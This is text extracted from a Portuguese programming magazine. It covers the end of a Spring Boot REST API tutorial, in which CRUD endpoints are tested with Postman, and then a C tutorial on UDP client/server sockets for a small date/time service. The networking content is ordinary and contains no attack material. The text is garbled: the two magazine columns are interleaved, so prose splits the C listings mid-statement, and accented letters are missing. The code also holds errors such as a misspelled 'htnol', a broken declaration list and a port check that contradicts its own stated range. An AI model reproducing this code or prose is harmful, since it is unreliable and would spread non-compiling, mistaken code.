mais um dos verbos HTTP, o PUT que, tal como o anterior, Chrome Store e serve perfeitamente para o efeito. Aps ter-
definimos como consomidor e produtor de informao em for- mos o Postman instalado, vamos lana-lo e iniciar os primei-
mato JSON (embora no estejamos a devolver nada para alm ros testes.
de status codes)
Endpoint #1
@RequestMapping(value = "/api/v1/cliente/update",
method = RequestMethod.PUT,
consumes =
MediaType.APPLICATION_JSON_VALUE,
produces =
MediaType.APPLICATION_JSON_VALUE)

Para cumprir a conveno que mencionamos em cima,


aqui vamos fazer uma verificao de que o objeto JSON que

24
A PROGRAMAR

API REST COM SPRING BOOT (PARTE 1)


Com o mtodo GET selecionado, vamos digitar o URL Com o mtodo GET selecionado digitamos o URL
http://localhost:8080/api/v1/cliente/1, clicando de seguida no http://localhost:8080/api/v1/cliente e de seguinda clicamos
boto SEND. em PARAMS, o que ir abrir a seco de parmetros a inclu-
ir no nosso URL. Esses parmetros funcionam numa base
Na janela inferior dever aparecer o objeto JSON cor-
(key,value). Assim que colocamos como key o valor nif e
respondente entrada na tabela clientes. Podemos tambm
como value um nmero de contribuinte que conste da nossa
ter alguma noo do desempenho se atentarmos ao TIME
tabela de clientes. De seguida clicamos em SEND.
(neste caso obtivemos um tempo de resposta de 17ms)
Deveremos receber o objeto JSON referente entra-
Endpoint #2
da que corresponde ao nmero de contribuinte que solicita-
Com o mtodo GET selecionado, digitamos o URL mos.
http://localhost:8080/api/v1/cliente/all , o qual nos dever devol-
Endpoint #4
ver uma coleo de objectos JSON com os dados referentes a
todos os clientes presentes nas tabelas.

Agora iremos selecionar o mtodo POST para proce-


der gravao de um registo na nossa base de dados.
Digite o endereo http://localhost:8080/api/v1/cliente/
save e de seguida selecione o Body do pedido. Certifique-se
que est selecionado RAW e que o formato JSON (por
defeito text). Na janela imediatamente por baixo, digite um
objeto JSON, como por ex : {"nomeCliente":"Sapataria Boa
Nova","nif":"999999999","concelho":"VN.Gaia"} e de seguida
clique em SEND.
Endpoint #3
Dever receber 201 na janela inferior, que foi o cdi-
go que utilizamos e indica que o item foi criado. Se verificar,
a informao introduzida j deve constar na sua tabela.
Endpoint #5

25
A PROGRAMAR
API REST COM SPRING BOOT (PARTE 1)
Agora vamos selecionar o mtodo PUT e atualizar um O cdigo presente neste artigo est disponvel em
item da nossa base de dados. Digite o endereo http:// https://gitlab.com/Java-exemplos/apitutorial-parte1.git
localhost:8080/api/v1/cliente/update, selecionado de seguida o
Body do pedido. Certifique-se que est marcado RAW e que o
formato JSON. Na janela imediatamente por baixo, digite um
objeto JSON, como por ex : {id:1,"nomeCliente":"Tonecas &
Tonecas Lda","nif":"999999999","concelho":"VN.Gaia"} e de
seguida clique em SEND.
No mundo JAVA,
Na janela inferior dever receber o valor 202, que cor- o framework open
responde ao status code HTTP que utilizamos para informar
que a operao correu corretamente. Se verificar, o elemento
com o ID1 da sua tabela dever estar agora atualizado.
source Spring, no
Endpoint #6 sendo o nico, qua-
se um standard para
quem pretende adotar
um padro de injeo
de dependncias /
MVC, que nos facilita
bastante a vida pois
permite que nos con-
centremos essencial-
Selecionando o mtodo DELETE, vamos digitar http://
mente nas business
localhost:8080/api/v1/cliente/delete/2 que ir indicar API que
pretendemos eliminar o item com o ID n 2 da nossa tabela. De rules evitando ter de
seguida clique em SEND.
Na janela inferior, dever receber o cdigo 200, que
desenvolver as partes
indica que a operao correu como pretendido. Se verificar, o
elemento j no dever constar da sua base de dados.
mais trabalhosas as
Agora que temos a nossa API testada, podemos efetuar
testes suplementares, colocando valores errados e verificando
quais so geridas pelo
o seu comportamento.
framework.
Na 2 parte deste tutorial, iremos ver como configurar e
implementar um sistema de log utilizando o log4J-2 e como
empacotar o JAR final que nos ir permitir transportar a nossa
aplicao Spring para qualquer servidor.

AUTOR
Escrito por Jos Martins

Natural do Porto, autodidata. Iniciou-se no mundo das tecnologias com um Sinclair ZX-81 onde aprendeu a programar em
basic e assembler. Ao longo de 25 anos ligados s tecnologias, passou por quase todas as linguagens de programao, at
que decidiu assentar praa com JAVA. Atualmente trabalha na PJ Silva Lda, onde desenvolve projetos ligados monitoriza-
o do ensino prtico da conduo automvel. (josetabordamartins@gmail.com).

26
A PROGRAMAR

Programao de aplicaes cliente/servidor


assentes no protocolo de transporte UDP


A pilha protocolar TCP/IP respetivos servios est disponvel no ficheiro /etc/services
(Listagem 1).
A pilha protocolar TCP/IP considerada o standard de
facto na rea das comunicaes informticas, sendo pratica- finger 79 / tcp
mente obrigatrio o seu uso em aplicaes distribudas. A refe- http 80 / tcp # www
rida pilha tem mecanismos prprios que possibilitam o envio, http 80 / udp # HyperText Transfer Protocol
encaminhamento e receo de dados entre duas ou mais enti- ()
https 443 / tcp # http protocol over TLS / SSL
dades comunicantes. Um dos elementos chaves da pilha TCP/ https 443 / udp
IP o endereo IP que identifica um sistema computacional. ()
Atualmente, existem dois tipos de endereos IP: IPv4 e IPv6.
O IPv4 assenta em endereos de 32 bits (4 octetos), sendo Listagem 1: Viso parcial do ficheiro /etc/services com a indi-
comum a sua representao atravs de 4 nmeros inteiros cao dos protocolos http (porto 80) e https (porto 443)
separados por ponto. Por exemplo, 192.168.120.12 um en-
No Unix, o acesso camada de transporte por via
dereo IPv4. O crescimento exponencial da internet tornou
programtica usualmente feito atravs da interface socket
necessria a criao de um espao de endereamento alterna-
BSD (Berkeley Software Distribution). De forma simplificada,
tivo, com capacidade para um maior nmero de endereos IP:
pode dizer-se que o socket uma abstrao de um canal de
o IPv6. Neste protocolo, cada endereo IP composto por 128
comunicao: num dos pontos, o emissor envia dados, ao
bits (16 octetos). Exemplos de endereo IPv6 so
passo que na outra extremidade um recetor (ou vrios, no
2001:0db8:85a3:0000:0000:8a2e:0370:7334 e ::1, este ltimo
caso do UDP), recebe esses dados. Este artigo foca o uso
representando o endereo local.
de sockets UDP no desenvolvimento de aplicaes para
Protocolos de transporte sistemas Unix/Linux com recurso linguagem de programa-
o C. O cdigo apresentado foi desenvolvido atendendo
Em termos de programao, o desenvolvimento de
norma C11, tendo sido empregue o compilador GCC 5.4.0.
aplicaes distribudas, isto , aplicaes com capacidade
As aplicaes foram testadas numa mquina virtual Lubuntu
para trocar dados entre si, passa pelo uso da camada de
16.04 de 32 bits com kernel Linux ubuntu 4.4.0-21-generic.
transporte. A camada de transporte disponibiliza vrios proto-
colos. Os dois mais usados so o Transmision Control Protocol O modelo cliente/servidor
(TCP) e User Datagram Protocol (UDP). O primeiro permite
O modelo cliente/servidor assenta na existncia de
uma comunicao similar proporcionada por um sistema
duas entidades com funes assimtricas. De um lado est o
telefnico, ao passo que o protocolo UDP se assemelha a um
servidor cujo propsito atender os pedidos dos clientes e
sistema de correio tradicional. Apesar das suas limitaes, o
responder-lhes de forma apropriada. Do outro lado, o cliente
protocolo UDP assume grande importncia nalguns servios
solicita servios atravs do envio de pedidos, aguardando
essenciais Internet, tais como o Domain Name System
pela respetiva resposta do servidor. O formato e contedo
(DNS) empregue na resoluo de nomes, ou no Network Time
das mensagens, bem como o comportamento a adotar por
Protocol (NTP) que possibilita que os sistemas computacionais
cada entidade definido atravs do denominado protocolo
aderentes tenham conhecimento do tempo universal (vulgo
aplicacional.
GMT) com preciso prxima dos milissegundos. Ambos os
protocolos de transporte introduzem o conceito de porto. O Os passos bsicos de aplicaes cliente/servidor as-
porto um identificador inteiro que pode ter valores compreen- sentes sobre o protocolo de transporte UDP so mostrados
didos entre 0 e 65535. Considerando a analogia em que o na Listagem 2 (servidor) e na Listagem 3 (cliente). Importa
endereo IP (IPv4 ou IPv6) corresponde a um nmero de tele- notar que se assume que o servidor no tem terminao,
fone, o porto corresponde ao conceito de extenso telefnica. mantendo-se em funcionamento desde do arranque do siste-
Deste modo, e em termos tericos, um endereo IP estendi- ma at que o mesmo seja desligado.
do por 65536 portos para o protocolo TCP e outros tantos para
o protocolo UDP. Parte dos portos so reservados para servi- Criao do socket: socket
os designados de servios bem conhecidos. Por exemplo, o Registo do socket no sistema local: bind
Ciclo
porto de escuta do protocolo HTTP o porto 80/TCP. Assim, Aguarda pedido: recvfrom
quando indicamos um URL http:// na barra de endereos, o Processa pedido
navegador procura estabelecer uma ligao TCP no porto 80 Envia resposta: sendto
Repete ciclo
do endereo IP correspondente ao endereo indicado no URL. Trmino
Por sua vez, o sistema de resoluo de nomes DNS que per- Fecha socket: close
mite converter nomes em endereos IP e vice-versa, faz uso
Listagem 2: Pseudo-cdigo de uma aplicao servidor UDP
do porto 53/UDP. Em sistemas Unix, uma lista dos portos e

27
A PROGRAMAR
PROGRAMAO DE APLICAES CLIENTE/SERVIDOR ASSENTES NO PROTOCOLO DE TRANSPORTE UDP

Criao do socket: socket tipo struct sockaddr. Contudo, consoante o tipo de protocolo
Envia pedido: sendto selecionado, empregue uma estrutura de endereo ade-
Aguarda resposta: recvfrom
Fecha socket: close quado que depois mapeada (cast) para o tipo de dados
struct sockaddr. Para o caso do IPv4, a estrutura de en-
dereo a struct sockaddr_in (Listagem 6).
Listagem 3: Pseudo-cdigo de uma aplicao cliente UDP
Aplicao servidor struct sockaddr_in {
short int sin_family;
Fase de inicializao unsigned short int sin_port;
struct in_addr sin_addr;
A inicializao da aplicao servidor envolve dois pas- unsigned char sin_pad[8];
};
sos distintos: i) criao do socket e ii) registo do socket. De struct in_addr {
seguida, descrevem-se cada um desses passos. unsigned int s_addr;
/* Endereo IPV4 / formato de rede*/
Criao do socket };
Ao nvel da aplicao servidor, a primeira operao con-
Listagem 6: Estruturas sockaddr_in e in_addr empregues
siste na criao do socket. Para o efeito, feito uso da funo
para endereos IPv4
socket cujo prottipo mostrado na Listagem 4.
O campo sin_family serve para especificar o tipo de
int socket(int domain, endereo. No caso de um endereo IPv4 deve especificar-se
int type, int protocol);
AF_INET. O campo sin_port serve para indicar o porto que
se pretende registar. O porto especificado atravs de um
Listagem 4: Prottipo da funo socket inteiro de 16 bits que deve estar no formato big endian
O parmetro domain da funo socket serve para indi- (Blinn, 2016). O formato big endian tambm designado por
car o domnio do socket. No caso de um socket IPv4, deve ser formato de rede, pois os valores numricos correspondentes
indicado AF_INET, e AF_INET6 no caso de um socket IPv6. a portos e endereos IPs devem ser especificados nesse
Neste artigo usar-se-o endereos IPv4. O parmetro type formato. Para se garantir que o porto indicado no formato
identifica o tipo de socket pretendido. Para o caso de um soc- big endian, empregue a funo htons (host-to-network-
ket UDP, deve-se indicar SOCK_DGRAM. Por fim, o ltimo short) que efetua a converso de um inteiro com 16 bits do
parmetro da funo protocol especifica o protocolo. Con- formato local para o formato big endian.
tudo, em muitos casos, os dois primeiros parmetros so sufici- O campo sin_addr corresponde a uma estrutura onde
entes para definir plenamente o protocolo. o caso com o par deve ser guardado o endereo IPv4, novamente em formato
AF_INET/SOCK_DGRAM que define univocamente um socket de rede. A funo inet_pton (Listagem 7) permite obter um
do tipo IPv4/UDP. Nestes casos, indica-se 0 (zero) no parme- endereo IP em formato de rede a partir de um endereo IP
tro protocol. Em caso de sucesso, a chamada socket devolve (v4 ou v6) especificado em texto (e.g., 192.168.120.12). O
um valor inteiro positivo que corresponde ao descritor associa- primeiro parmetro serve para especificar o tipo de endereo
do ao recm-criado socket. Note-se que a chamada socket AF_INET para IPv4 e AF_INET6 para IPv6. O segundo
apenas cria um descritor do tipo socket no sistema local, no parmetro indica o IP a converter. Finalmente, o terceiro
efetuando nenhum contacto com o exterior. parmetro especifica a zona de memria para onde deve ser
Registo do socket - bind escrita a representao inteira em formato de rede do IP. A
funo inet_ntop efetua a operao inversa, isto , cria a
A segunda operao no estabelecimento de um servidor representao em formato de texto de um endereo IP (v4
UDP consiste no registo do socket no sistema local. Para o ou v6) especificado em formato binrio. O prottipo de am-
efeito, necessrio indicar quais as interfaces IP do sistema bas as funes mostrado na Listagem 7.
local para as quais o socket deve estar ativo, bem como o por-
to (UDP). O registo do socket feito atravs da funo bind, int inet_pton(int af,
cujo prottipo mostrado na Listagem 5. const char *src, void *dst);

int bind(int sockfd, char *inet_ntop(int af, const void *src,


const struct sockaddr *addr, char *dst, socklen_t size);
socklen_t addrlen);
Listagem 7: Prottipo das funes inet_pton e inet_ntop
Listagem 5: Prottipo da funo bind
No caso em que se pretende que o socket do servidor
O primeiro parmetro -- sockfd -- o descritor do soc- possa receber pedidos destinados a qualquer das interfaces
ket, devolvido pela funo socket. Os parmetros seguintes IPs da mquina local prtica relativamente corrente deve
correspondem a uma estrutura de endereos (segundo par- ser especificado o resultado da chamada htnol
metro) e respetivo tamanho (terceiro parmetro). Pelo facto da (INADDR_ANY) como endereo IP. Similarmente funo
interface de programao sockets BSD suportar mltiplos tipos htons, a funo htonl (host-to-network-long) assegura que
de protocolos e de endereos, empregue uma estrutura ge- o valor que lhe passado como parmetro devolvido em
nrica para especificao de endereos. Essa estrutura do formato de rede. A diferena entre as duas funes est no

28
A PROGRAMAR

PROGRAMAO DE APLICAES CLIENTE/SERVIDOR ASSENTES NO PROTOCOLO DE TRANSPORTE UDP

tamanho dos dados que manipulam: htons processa valores de no um cdigo de erro apropriado. Caso a funo
16 bits, ao passo que htonl trata valores de 32 bits. O cdigo recvfrom seja bem-sucedida, devolvido o nmero de octe-
para inicializao da estrutura de endereos mostrado na tos que foram recebidos. importante notar que o nmero
Listagem 8. A funo memset empregue para se proceder de octetos recebidos pode diferir do nmero de octetos envi-
inicializao com zeros da estrutura de endereos. ados quando o tamanho da memria especificado atravs do
par buf/len for insuficiente para acolher todo o contedo
/* Preenche a estrutura */ do datagrama. Por exemplo, caso seja especificado uma
memset(&ser_addr, 0, sizeof(ser_addr));
ser_addr.sin_family = AF_INET; zona de memria com capacidade para 100 octetos e o da-
ser_addr.sin_addr.s_addr = tagrama recebido tenha 140 octetos, apenas os 100 primei-
htonl(INADDR_ANY); ros octetos so escritos na zona de memria apontada por
ser_addr.sin_port = htons(Porto);
buf. Os restantes 40 octetos so perdidos. Em termos
tericos, o tamanho mximo de um datagrama UDP de
Listagem 8: Preenchimento da estrutura de endereo para o
65507 octetos. Em ambientes de rea alargada (internet),
registo do socket
recomenda-se que o tamanho individual de cada datagrama
Fase de pedido/resposta no ultrapasse os 512 octetos. De facto, tamanhos maiores
levam a que o datagrama seja fragmentado pela camada de
Terminada a fase de configurao, o programa servidor
rede (camada IP), o que reduz substancialmente a probabili-
entra no modo de pedido/resposta. Neste modo, o programa
dade do datagrama chegar ao destino.
repete um mesmo ciclo: aguarda por um pedido, processa-o e
envia a respetiva resposta aplicao cliente que solicitou o Recebido o pedido, o servidor procede ao seu proces-
pedido. samento, que obviamente depende da aplicao. Igualmen-
te, o formato e contedo do datagrama recebido depende do
Leitura do pedido
protocolo aplicacional. Neste artigo elaborado um protocolo
A espera pelo pedido feita atravs da funo recvfrom aplicacional muito simples que suporta trs pedidos diferen-
(Listagem 9). tes expressos pelas seguintes strings: DATA_HORA,
DATA e HORA. O pedido DATA_HORA solicita que seja
ssize_t recvfrom(int sockfd, void *buf, enviada como resposta a data/hora corrente do servidor.
size_t len, int flags,
struct sockaddr *src_addr, Similarmente, os pedidos DATA e HORA solicitam o en-
socklen_t *addrlen); vio, respetivamente, da data e da hora.

Listagem 9: Prottipo da funo recvfrom Envio da resposta

Por omisso, a funo recvfrom bloqueia o processo O envio da resposta feito atravs da funo sendto,
chamante at que seja recebido um datagrama. O parmetro cujo prottipo mostrado na Listagem 10.
sockfd corresponde ao descritor do socket. O par de par- ssize_t sendto(int sockfd, const void *buf, si-
metros buf e len especificam o endereo e tamanho da zona ze_t len, int flags, const struct sockaddr
de memria fornecida pelo utilizador e no qual escrito o con- *dest_addr, socklen_t addrlen);
tedo do datagrama recebido. O parmetro flags permite ace-
Listagem 10: Prottipo da funo sendto
der a modos alternativos da funo. Por exemplo, a opo
MSG_DONTWAIT leva a que a funo deixe de ser bloquean- O primeiro parmetro corresponde ao descritor do
te, sendo devolvida uma notificao apropriada, caso a funo socket. O segundo e terceiro parmetros indicam, respetiva-
seja chamada e no exista nenhum datagrama. Finalmente, o mente, o endereo de memria onde se encontra a mensa-
par de parmetros src_addr e addrlen preenchido pela fun- gem a ser enviada e o respetivo tamanho. O parmetro flag
o, respetivamente, com o endereo/porto da entidade remota permite configurar comportamentos especficos para a fun-
e o tamanho do endereo. Note-se que o parmetro addrlen o. Finalmente, o par de parmetros dest_addr e addrlen
um parmetro valor/resultado, significando isso que deve ser indica o endereo e respetivo tamanho de destino. Tratando-
inicializado com o tamanho da estrutura de endereo antes da se de uma resposta a um pedido de um cliente, empregue
chamada funo, caso contrrio ocorre o erro do tipo EINVAL como par endereo destino/tamanho o par endereo/
argumento invlido. Importar relembrar que o tipo de dados tamanho anteriormente preenchido pela funo recvfrom. De
struct sockaddr corresponde a um endereo dito genrico. forma anloga ao que sucede com a funo recvfrom, o valor
Para aceder aos campos do endereo IPv4 torna-se necess- de retorno da funo sendto corresponde ao nmero de oc-
rio proceder respetiva converso (cast na designao anglo- tetos enviados em caso de sucesso. Numa situao de erro
saxnica), e ter em ateno que os campos de endereo IP e devolvido o valor -1, sendo atribuda varivel errno um
porto se encontram no formato de rede. O endereo da entida- cdigo de erro apropriado. importante notar que uma exe-
de remota obviamente necessrio para que o programa servi- cuo com sucesso da funo sendto no garante que o
dor possa enviar a resposta. Funciona de forma similar ao en- datagrama chegue ao seu destino. De facto, o protocolo
dereo do remetente numa carta enviada por via postal. UDP no confivel, no garantindo a entrega dos datagra-
mas no destino, nem detetando a sua eventual perda, tal
A funo recvfrom retorna um valor inteiro. Caso tenha
como sucede no envio de uma carta por via postal. Uma
ocorrido um erro, devolvido -1 sendo atribudo varivel err-
aplicao que requeira confiabilidade na troca de mensa-

29
A PROGRAMAR
PROGRAMAO DE APLICAES CLIENTE/SERVIDOR ASSENTES NO PROTOCOLO DE TRANSPORTE UDP

gens deve implementar essa funcionalidade no protocolo apli- {


cacional (e.g., protocolo Trivial FTP), ou mais simplesmente, fprintf(stderr, "ERRO: '%s' "
fazer uso do protocolo de transporte TCP (Stevens, Fenner, & 1024 < porto < 65536\n", porto_s);
exit(3);
Rudoff, 2004). Uma observao ainda a respeito das funes }
sendto e recvfrom: o tipo de dado devolvido por ambas as unsigned short porto = (unsigned short)
funes ssize_t, que significa signed size, ou seja, tamanho porto_long;
/* Criar socket */
com sinal. A necessidade do valor negativo -1 para assinalar int socket_udp;
situaes de erro leva a que no possa ser empregue o tipo de socket_udp = socket(AF_INET, SOCK_DGRAM, 0);
dados size_t que apenas suporta valores no negativos. Refira if (socket_udp == -1) {
fprintf(stderr, "ERRO ao criar
-se que na norma C11, a string de formatao a ser empregue socket:%s\n",
no printf o %zd para um elemento do tipo ssize_t e %zu para strerror(errno));
size_t. exit(4);
}
#include <stdio.h> /* bind */
#include <stdlib.h> struct sockaddr_in end_servidor;
#include <limits.h> memset(&end_servidor, 0, sizeof
#include <errno.h> (end_servidor));
#include <string.h> end_servidor.sin_family = AF_INET;
#include <sys/types.h> end_servidor.sin_addr.s_addr = htonl
#include <sys/socket.h> (INADDR_ANY);
#include <arpa/inet.h> end_servidor.sin_port = htons(porto);
#include <unistd.h> if (bind(socket_udp, (struct sockaddr *)
#include <time.h> &end_servidor, sizeof(end_servidor))
char *processa_pedido(const char *pedido_str, == -1) {
char *resposta_str, size_t resposta_tam) { fprintf(stderr, "ERRO bind:%s\n",
time_t agora; strerror(errno));
struct tm *agora_tm_ptr; exit(5);
agora = time(NULL); }
agora_tm_ptr = localtime(&agora); printf("INFO:servidor escuta UDP/%u\n",
if (strcmp(pedido_str, "DATA_HORA") == 0) { porto);
strftime(resposta_str, resposta_tam, struct sockaddr_in end_cliente;
"%Y.%m.%d_%Hh%M:%S", agora_tm_ptr); char Buff_S[128], Resposta_S[128];
} size_t Buff_tam, Resposta_tam,
else if (strcmp(pedido_str, "DATA") == 0) { socklen_t end_cliente_tam;
strftime(resposta_str, ssize_t ret;
resposta_tam, "%Y.%m.%d", agora_tm_ptr); Buff_tam = sizeof(Buff_S);
} while (1) {
else if (strcmp(pedido_str, "HORA") == 0) { printf("a aguardar por pedido "
strftime(resposta_str, "cliente (porto:%d)\n", porto);
resposta_tam, "%Hh%M:%S", end_cliente_tam = sizeof
agora_tm_ptr); (end_cliente);
} ret = recvfrom(socket_udp, Buff_S,
else { Buff_tam, 0,
snprintf(resposta_str, resposta_tam, "%s (struct sockaddr*)&end_cliente,
(%s)", &end_cliente_tam);
"DESCONHECIDO", pedido_str); if (ret == -1) {
} fprintf(stderr, "ERRO
return resposta_str; recvfrom:%s (errno=%d)\n",
} strerror(errno), errno);
int main(int argc, char *argv[]) { continue;
if (argc != 2) { }
fprintf(stderr, "uso: %s Buff_S[ret] = '\0';
<porto_UDP>\n", argv[0]); if (ret > 0 && (Buff_S[ret - 1] ==
fprintf(stderr, "porto UDP entre 1025 e '\n'))
65535\n"); {
exit(1); Buff_S[ret - 1] = '\0';
} }
/* argv[1]: porto */ printf("INFO: pedido cliente => '
char *err_ptr; %s'\n", Buff_S);
char *porto_s = argv[1]; Resposta_tam = sizeof(Resposta_S);
long int porto_long = strtol(porto_s, processa_pedido(Buff_S, Resposta_S,
&err_ptr, 10); Resposta_tam);
if (((errno == ERANGE) && Resposta_tam = strlen(Resposta_S) + 1;
(porto_long == LONG_MAX || porto_long printf("Resposta_tam=%zu octetos\n",
== LONG_MIN)) || Resposta_tam);
(errno != 0 && porto_long == 0)) { ret = sendto(socket_udp, Resposta_S,
fprintf(stderr, "ERRO: '%s' 1024 < " Resposta_tam, 0,
"porto < 65536\n", porto_s); (struct sockaddr *)
exit(2); &end_cliente, end_cliente_tam);
} if (ret == -1) {
if ((porto_long > SHRT_MAX) || (porto_long <= fprintf(stderr, "ERRO sendto:
0)) %s\n",

30
A PROGRAMAR

PROGRAMAO DE APLICAES CLIENTE/SERVIDOR ASSENTES NO PROTOCOLO DE TRANSPORTE UDP

strerror(errno)); Preenchida a estrutura de endereo com endereo IP


continue; e o porto do programa servidor, a aplicao cliente procede
}
} operao de pedido/resposta. Assim, enviada a string cor-
close(socket_udp); respondente operao solicitada atravs da funo sendto.
return 0; De seguida, chamada a funo recvfrom. Essa chamada
} bloqueia a aplicao cliente at que seja recebida a resposta
Listagem 12: 2 parte do ficheiro servidor_udp.c por parte da aplicao servidor. Note-se que se trata de uma
fragilidade da aplicao cliente pois, caso no seja recebida
Aplicao cliente
resposta por parte da aplicao servidor, a aplicao cliente
A aplicao cliente UDP significativamente mais sim- fica bloqueada indefinidamente. Numa aplicao para um
ples do que a aplicao servidor. Em termos de fluxo de execu- cenrio real torna-se necessrio prever um mecanismo que
o, habitual a seguinte sequncia de eventos: 1) cliente passado um determinado perodo de tempo interrompa a
envia um pedido ao servidor; 2) cliente aguarda resposta do espera da aplicao cliente na funo recvfrom caso no
servidor; 3) cliente termina. seja recebida resposta por parte do servidor. A ausncia de
resposta por parte da aplicao servidor pode ter vrias cau-
Fase de inicializao
sas: perda do datagrama que transporta o pedido do cliente,
A fase de inicializao consiste na criao do socket perda da resposta da aplicao servidor ou o prprio servidor
que em tudo semelhante ao que foi descrito para a aplicao estar inoperacional.
servidor. Assim chamada a funo socket, indicando respeti-
vamente AF_INET, SOCK_DGRAM e 0 para os seus trs par- #include <stdio.h>
#include <stdio.h>
metros. #include <stdlib.h>
#include <limits.h>
Fase de pedido/resposta #include <errno.h>
#include <string.h>
Criado o socket, a aplicao cliente pode de imediato #include <sys/types.h>
enviar o pedido para a aplicao servidor. Para o efeito em- #include <sys/socket.h>
pregue a j conhecida funo sendto. Contudo, antes de pro- #include <arpa/inet.h>
#include <unistd.h>
ceder ao envio, torna-se necessrio preencher a estrutura com
o endereo de destino, ou seja a estrutura com o endereo IP int main(int argc, char *argv[]) {
e respetivo porto da aplicao servidor. Conforme indicado if (argc != 4) {
anteriormente, o preenchimento do campo sin_addr pode ser fprintf(stderr, "uso: %s <IP>
"<porto_UDP_escuta>
feito atravs da funo inet_pton, considerando que se tem o <comando>\n", argv[0]);
IPv4 no formato texto. O campo correspondente ao porto fprintf(stderr, "porto UDP entre 1025
preenchido com recurso funo htons, indicando-se como e 65535\n");
exit(1);
parmetro o porto pretendido. No caso do exemplo empregue }
neste artigo, a aplicao cliente interpreta o primeiro argumen- /* argv[1]: endereo IP em formato texto */
to da linha de comando (argv[1]) como sendo o endereo IP do char *end_IP = argv[1];
servidor e o segundo argumento (argv[2]) como sendo o porto /* argv[2]: porto remoto */
char *err_ptr;
da aplicao servidor. A Listagem 7 mostra o carregamento da char *porto_s = argv[2];
estrutura de endereo com o endereo IP e porto UDP do ser- long int porto_long = strtol(porto_s,
vidor. Finalmente, o terceiro parmetro passado aplicao &err_ptr, 10);
if (((errno == ERANGE) &&
cliente (argv[3]) corresponde operao pretendida indicada (porto_long == LONG_MAX || porto_long
por uma das seguintes strings: DATA_HORA, DATA ou == LONG_MIN))
HORA. || (errno != 0 && porto_long == 0)) {
fprintf(stderr,
struct sockaddr_in end_servidor; "ERRO: '%s' 1024 < porto < 65536
ssize_t ret; \n", porto_s);
/* Preenche endereo IP/ porto do servidor remoto exit(2);
*/ }
memset(&end_servidor, 0, sizeof(end_servidor)); if ((porto_long > SHRT_MAX) || (porto_long
end_servidor.sin_family = AF_INET; <= 0))
end_servidor.sin_port = htons(porto); {
ret = inet_pton(AF_INET, end_IP, fprintf(stderr, "ERRO: '%s' "
&end_servidor.sin_addr.s_addr); "1024 < porto < 65536\n",
if (ret <= 0) { porto_s);
fprintf(stderr, "ERRO converso '%s'\n", exit(3);
end_IP); }
exit(5); unsigned short porto = (unsigned short)
} porto_long;
/* argv[3]: comando remoto */
char *comando_s = argv[3];
Listagem 13: Preenchimento da estrutura end_servidor com o /* Criar socket */
endereo e porto UDP do servidor int socket_udp;
socket_udp = socket(AF_INET, SOCK_DGRAM, 0);

31
A PROGRAMAR
PROGRAMAO DE APLICAES CLIENTE/SERVIDOR ASSENTES NO PROTOCOLO DE TRANSPORTE UDP

if (socket_udp == -1) { na Listagem 14 (1 parte - validao dos parmetros da linha


fprintf(stderr, "ERRO ao criar socket:%s\n", de comando) e Listagem 15 (2 parte - interao com o pro-
strerror(errno)); gramar servidor).
exit(4);
} Compilao e execuo
struct sockaddr_in end_servidor;
ssize_t ret; A compilao das duas aplicaes podem ser feita da
/* Preenche endereo IP/ porto do servidor
remoto */ forma indicada na Listagem 16.
memset(&end_servidor, 0, sizeof
(end_servidor)); O teste s aplicaes relativamente simples. Primei-
end_servidor.sin_family = AF_INET; ro deve ser lanada a aplicao servidor, indicando-se como
end_servidor.sin_port = htons(porto); parmetro um porto compreendido entre 1025 (inclusive) e
ret = inet_pton(AF_INET, end_IP, 65535 (inclusive), por exemplo, o porto 9999. Seguidamente,
&end_servidor.sin_addr.s_addr);
if (ret <= 0) { noutro terminal do mesmo computador lana-se a aplicao
fprintf(stderr, "ERRO converso '%s'\n" cliente, especificando-se 127.0.0.1 como endereo IP
, end_IP); (endereo de localhost), 9999 como porto UDP e um dos trs
exit(5);
} comandos implementados pela aplicao, por exemplo,
end_servidor.sin_port = htons(porto); DATA_HORA. Um exemplo de execuo das aplicaes
/* Envio do comando */ servidor e cliente mostrado na Listagem 17.
char Resposta_S[128];
size_t Resposta_tam;
size_t comando_tam = strlen(comando_s); # compilao da aplicao servidor
socklen_t end_servidor_tam = sizeof gcc Wall W servidor_udp.c o servidor_udp
(end_servidor);
printf("A enviar '%s' ao servidor\n", # compilao da aplicao cliente
comando_s); gcc Wall W cliente_udp.c o cliente_udp
ret = sendto(socket_udp, comando_s,
comando_tam, 0, (struct sockaddr Listagem 16: Compilao da aplicao servidor e da aplica-
*)&end_servidor, end_servidor_tam); o cliente
if (ret == -1) {
fprintf(stderr, "ERRO sendto:%s\n",
strerror(errno)); # Execuo das aplicaes
exit(6);
} # Servidor
/* Aguarda resposta do servidor */ ./servidor_udp 9999
printf("A aguardar resposta do servidor\n"); a aguardar por pedido cliente (porto:9999)
struct sockaddr_in end_resposta; INFO: pedido do cliente => 'DATA_HORA'
size_t end_resposta_tam; IN: 'DATA_HORA', OUT: '2016.10.12_22h27:53'
Resposta_tam = sizeof(Resposta_S);
end_resposta_tam = sizeof(end_resposta); # cliente
ret = recvfrom(socket_udp, Resposta_S, ./cliente_udp 127.0.0.1 9999 DATA_HORA
Resposta_tam, 0, A enviar pedido 'DATA_HORA' servidor
(struct sockaddr*)&end_resposta, A aguardar resposta do servidor
&end_resposta_tam); Resposta='2016.10.12_22h27:53' (20 octetos)
if (ret == -1) {
fprintf(stderr, "ERRO no recvfrom:%s Listagem 17: Execuo das aplicaes servidor e cliente
(errno=%d)\n",
strerror(errno), errno); Um teste mais completo consiste em lanar a aplica-
exit(7);
} o servidor e a aplicao cliente em mquinas diferentes.
Resposta_S[ret] = '\0'; Neste caso, torna-se necessrio indicar como primeiro par-
if (ret > 0 && (Resposta_S[ret - 1] == '\n')) metro da aplicao cliente o endereo IP do computador
{
Resposta_S[ret - 1] = '\0'; onde executada a aplicao servidor. Conforme anterior-
} mente referido, a aplicao cliente no est preparada para
printf("Resposta='%s' (%zu octetos)\n", tolerar falhas da rede ou da aplicao servidor. Uma possvel
Resposta_S, ret); soluo para recuperar da ausncia de resposta da aplica-
close(socket_udp);
return 0; o servidor pode passar pelo uso de um temporizador. Atra-
} vs da funo alarm ou da funo setitimer possvel confi-
gurar um temporizador de modo a que seja ativado passado
Listagem 15: 2 parte do ficheiro cliente_udp.c X segundos. Por exemplo, antes de chamar a funo
recvfrom, a aplicao cliente configura um temporizador
Trmino
para esperar 2 segundos. Caso a operao de receo via
Em termos de API socket BSD, o trmino da aplicao recvfrom demore mais do que 2 segundos, o temporiza-
cliente consiste somente no fecho do socket. Para o efeito dor expira, sendo enviado o sinal SIGALRM para o processo.
